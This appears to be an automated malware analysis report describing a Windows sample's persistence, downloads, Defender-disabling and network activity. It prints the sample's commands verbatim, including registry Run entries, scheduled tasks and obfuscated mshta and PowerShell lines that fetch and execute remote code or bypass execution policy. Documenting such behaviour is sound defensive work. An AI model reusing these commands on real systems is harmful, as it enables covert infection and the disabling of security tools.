Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'DLESOLCRETSAM' = 'mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""powershell ((gp HKCU:\Software).MSOFFICELO)|IEX"", 0 : wi...
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'dkkkksakdosexography' = '"mshta""http://1230948%1230948@newblogset144.blogspot.com/p/43.html"'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] '' = '"mshta""http://1230948%1230948@firstblognew123.blogspot.com/p/43.html"'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'nunukhaoo' = '"mshta""http://1230948%1230948@papagunnakjdnmwdnwmndwm.blogspot.com/p/43.html"'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'replcia' = 'mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""powershell ((gp HKCU:\Software).nasdnasndnad)|IEX"", 0 : window...
Creates or modifies the following files
- <SYSTEM32>\tasks\wind0wsuplate
Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
- Windows Defender
Executes the following
- '<SYSTEM32>\taskkill.exe' /f /im Excel.exe
- '<SYSTEM32>\taskkill.exe' /f /im winword.exe
Downloads
- http://al###-def.com/root/defendercontrol.exe as c:\users\public\defendercontrol.exe
- http://al###-def.com/root/defenderkill.lnk as c:\users\public\defenderkill.lnk
- http://al###-def.com/root/defender.bat as c:\users\public\defender.bat
- http://al###-def.com/root/codenew.txt as c:\users\public\ff.ps1
- http://al###-def.com/root/defendercontrol.ini as c:\users\public\defendercontrol.ini
Executes the following (exploit)
- '<SYSTEM32>\mshta.exe' HTTp://j.#p/asdimawxiqqwopoqwejqwnmadsnbnsdhfskjj
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -noexit ((gp HKCU:\Software).MSOFFICELO)|IEX
Modifies file system
Creates the following files
- C:\users\public\11.ps1
- C:\users\public\ss.vbs
- C:\users\public\defendercontrol.exe
- C:\users\public\defenderkill.lnk
- C:\users\public\defender.bat
- C:\users\public\ff.ps1
- C:\users\public\googleupdate.bat
- C:\users\public\defendercontrol.ini
- C:\users\public\msi.ps1
- %TEMP%\aut4124.tmp
- %TEMP%\vzjpcox
Deletes the following files
- %TEMP%\aut4124.tmp
- %TEMP%\vzjpcox
Substitutes the following files
- %ALLUSERSPROFILE%\ntuser.pol
- %ALLUSERSPROFILE%\tempntuser.pol
Network activity
Connects to
- 'j.#p':80
- 'ne######eresee.blogspot.com':443
- 'bl##ger.com':443
- 're#####es.blogblog.com':443
- 'go#####analytics.com':443
- 'fo###.#oogleapis.com':443
- '59############4a99-b802-7f11323388a6.usrfiles.com':443
- 'al###-def.com':80
TCP
HTTP GET requests
- http://al###-def.com/root/ss.vbs
- http://al###-def.com/root/GoogleUpdate.bat
UDP
- DNS ASK j.#p
- DNS ASK ne######eresee.blogspot.com
- DNS ASK bl##ger.com
- DNS ASK re#####es.blogblog.com
- DNS ASK go#####analytics.com
- DNS ASK fo###.#oogleapis.com
- DNS ASK 59############4a99-b802-7f11323388a6.usrfiles.com
- DNS ASK al###-def.com
Miscellaneous
Searches for the following windows
- ClassName: 'MS_AutodialMonitor' WindowName: ''
- ClassName: 'MS_WebCheckMonitor' WindowName: ''
- ClassName: '' WindowName: ''
Creates and executes the following
- '<SYSTEM32>\wscript.exe' "C:\Users\Public\ss.vbs"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -File C:\Users\Public\11.ps1
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -File C:\Users\Public\ff.ps1
- 'C:\users\public\defendercontrol.exe' /D
- 'C:\users\public\defendercontrol.exe' /SYS 1
- 'C:\users\public\defendercontrol.exe' /Q
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass & 'C:\Users\Public\msi.ps1'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -noexit ((gp HKCU:\Software).MSOFFICELO)|IEX' (with hidden window)
- '<SYSTEM32>\schtasks.exe' /create /sc MINUTE /mo 80 /tn ""WIND0WSUPLATE"" /F /tr ""\""mshta\""vbscript:Execute("\"CreateObject(""\""Wscript.Shell""\"").Run ""\""mshta http://12##########948@getyournewblog.blogspot.com/p...' (with hidden window)
- '<SYSTEM32>\taskkill.exe' /f /im Excel.exe' (with hidden window)
- '<SYSTEM32>\taskkill.exe' /f /im winword.exe' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -File C:\Users\Public\11.ps1' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass & 'C:\Users\Public\msi.ps1'' (with hidden window)
Executes the following
- '<SYSTEM32>\schtasks.exe' /create /sc MINUTE /mo 80 /tn ""WIND0WSUPLATE"" /F /tr ""\""mshta\""vbscript:Execute("\"CreateObject(""\""Wscript.Shell""\"").Run ""\""mshta http://12##########948@getyournewblog.blogspot.com/p...
- '<SYSTEM32>\cmd.exe' /c ""C:\Users\Public\Defender.bat" "
- '<SYSTEM32>\svchost.exe' -k secsvcs
- '<SYSTEM32>\gpscript.exe' /RefreshSystemParam
- '<SYSTEM32>\cmd.exe' /c ""C:\Users\Public\GoogleUpdate.bat" "
- '<SYSTEM32>\mshta.exe' vbscript:Execute("CreateObject(""WScript.Shell"").Run ""p"+"ow"+"ersh"+"ell -Ex"+"ecuti"+"onPol"+"icy Bypa"+"ss & 'C"+":\Us"+"ers\P"+"ubl"+"ic\msi"+".ps1'"", 0:close")
- '<SYSTEM32>\raserver.exe' /offerraupdate
